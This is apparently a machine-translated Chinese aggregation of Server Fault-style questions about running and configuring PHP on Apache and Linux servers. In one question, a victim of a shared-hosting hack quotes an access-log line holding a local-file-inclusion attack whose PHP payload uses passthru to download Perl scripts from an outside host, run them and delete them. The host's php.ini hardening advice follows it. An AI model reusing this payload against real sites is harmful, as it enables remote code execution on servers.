我用php做一个信息站点,我需要我的服务器可以支持10000人同时在线。
我应该租用哪种服务器?(硬件、操作系统、网络等)
列表项:每页平均执行 MYSQL QUERY 6-7 次。
列表项:PHP 生成 html 页面。
谢谢。
我有运行 Debian 5.0 的 VPS(我认为),我想让它运行 PHP 文件。有人告诉我它需要使用 Apache 进行配置。我尝试输入命令apt-get install apache2 php5 libapache2-mod-php5。但是没有任何变化。控制台输出:http : //pastebin.com/sVMWq6mA
这是我的一切/etc/apache2/mods-enabled:
http://img35.imageshack.us/img35/6474/modsb.jpg
我的网络服务器可以在这里访问:http : //206.217.223.136/test/ 在我的 test.php 文件中,我有代码:
<?php
phpinfo();
?>
Run Code Online (Sandbox Code Playgroud)
但它没有显示页面,而是尝试下载它。我怎样才能解决这个问题?
正如问题标题所暗示的那样,我想设置一个自定义的 500 错误。事实上,我想对错误使用 .php 文件,并且最好发送 503 响应(SE 原因)。
问题是我知道生成 500 响应的唯一方法是通过 .htaccess,它显示服务器的内置/默认 500 错误页面。(我是这样假设的,因为错误发生在 .htaccess 中;它没有被处理,也不能显示自定义的。)
所以我的问题是:1) 是否真的可以生成一个自定义的 500 页面来显示给用户?2) 如何使用非 .htaccess 方法测试响应/错误?
是的,我在服务器故障上搜索过这里。是的,我也试过用谷歌搜索。不,我还没有找到任何关于如何进行简单测试的信息。(每次我发现导致 500 响应的东西时,似乎都需要我加载 lord-knows-what 系统。)
任何帮助,将不胜感激。
我需要安装 php4 才能运行一个不再兼容 php5 的特定模块。我正在运行 ubuntu 服务器 11.04 64 位。正如我所料,php4 软件包不再可用。有没有人有安装php4的源代码?
附注。在有人发帖说 php5 更好之前“BLAH BLAH BLAH”我需要 php4 有一个非常具体的原因,解释为什么我应该使用 php5 而不是 php4 的评论没有帮助。
如何在上传之前在本地计算机上测试 PHP 脚本?我对此有点陌生,因此为简单而感到抱歉。如果有帮助,我的域提供商安装的 PHP 版本是5.2.2。
编辑:好吧,大家放心,我运行的是 Windows 7 x64
我使用 Apache virtualHosts 在单个目录中托管多个网站。其中一些需要 PHP 5.2,而另一些则可以使用 PHP 5.3。如何指定使用每个版本的目录以及如何在一个系统上使用多个版本的 PHP?
我需要从命令行使用 PHP。当我打字
php ....
Run Code Online (Sandbox Code Playgroud)
系统说:
-bash: php: command not found
Run Code Online (Sandbox Code Playgroud)
现在,我知道 PHP 已经启动并运行 b/c,它托管了我的 Drupal 站点。我不确定如何找到该程序。我在目录中搜索路径但没有成功。
我错过了什么?
我正在使用 Ubuntu Linux。
我安装了以下软件包:
php5 install
php5-common install
php5-curl install
php5-gd install
php5-mcrypt install
php5-mysql install
Run Code Online (Sandbox Code Playgroud) 我在共享主机服务器(heartinternet)上受到攻击,他们说我应该php.ini正确配置自己的文件。
好吧,我有一个带有注册功能的小 php/MySQL 程序,一个小的管理站点,但是有人破解了它。
配置php.ini文件以防止此类攻击的一般方法是什么?任何好的设置将不胜感激。
这是我从网络主机提供商那里得到的:
121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"
Run Code Online (Sandbox Code Playgroud)
由于脚本注入攻击的是站点代码本身,因此能够完全规避网络服务器的安全。不幸的是,一些内容管理系统(尤其是旧版本的 Joomla)极易受到这种形式的攻击。
消除攻击者使用此方法的能力的一种简单方法是在网站的顶层添加一个 php.ini 文件,其中包含以下内容 - 但请注意,该网站将需要事后测试以确保没有合法的网站脚本操作已受到更改的影响:
php.ini 指令是...
allow_url_include = "0"
allow_url_fopen = "0"
Run Code Online (Sandbox Code Playgroud) 有没有什么是用于 Linux 的非常简单的 PHP Web 服务器,它实际上需要一个 PHP 文件并通过端口 80 为其提供服务。不想配置一个完整的 Web 服务器,如 apache、lighttpd 或 nginx。只需要提供单个 PHP 脚本,不需要虚拟主机。如果它像这样工作,那就太棒了:
$ simple-php-web-server myscript.php
Run Code Online (Sandbox Code Playgroud) 我是 Java for Web 的新手,我的问题是我是否可以同时使用 Java 和 PHP?我知道我可以一起使用它们,让我们重新表述这个问题,有没有办法在同一个端口访问它们?
Java使用Tomcat,PHP也可以使用tomcat吗?
php ×10
apache-2.2 ×4
php5 ×2
.htaccess ×1
500-error ×1
filesystems ×1
java ×1
local ×1
php.ini ×1
shell ×1
ubuntu ×1
ubuntu-11.04 ×1
unix ×1
virtualhost ×1
web-server ×1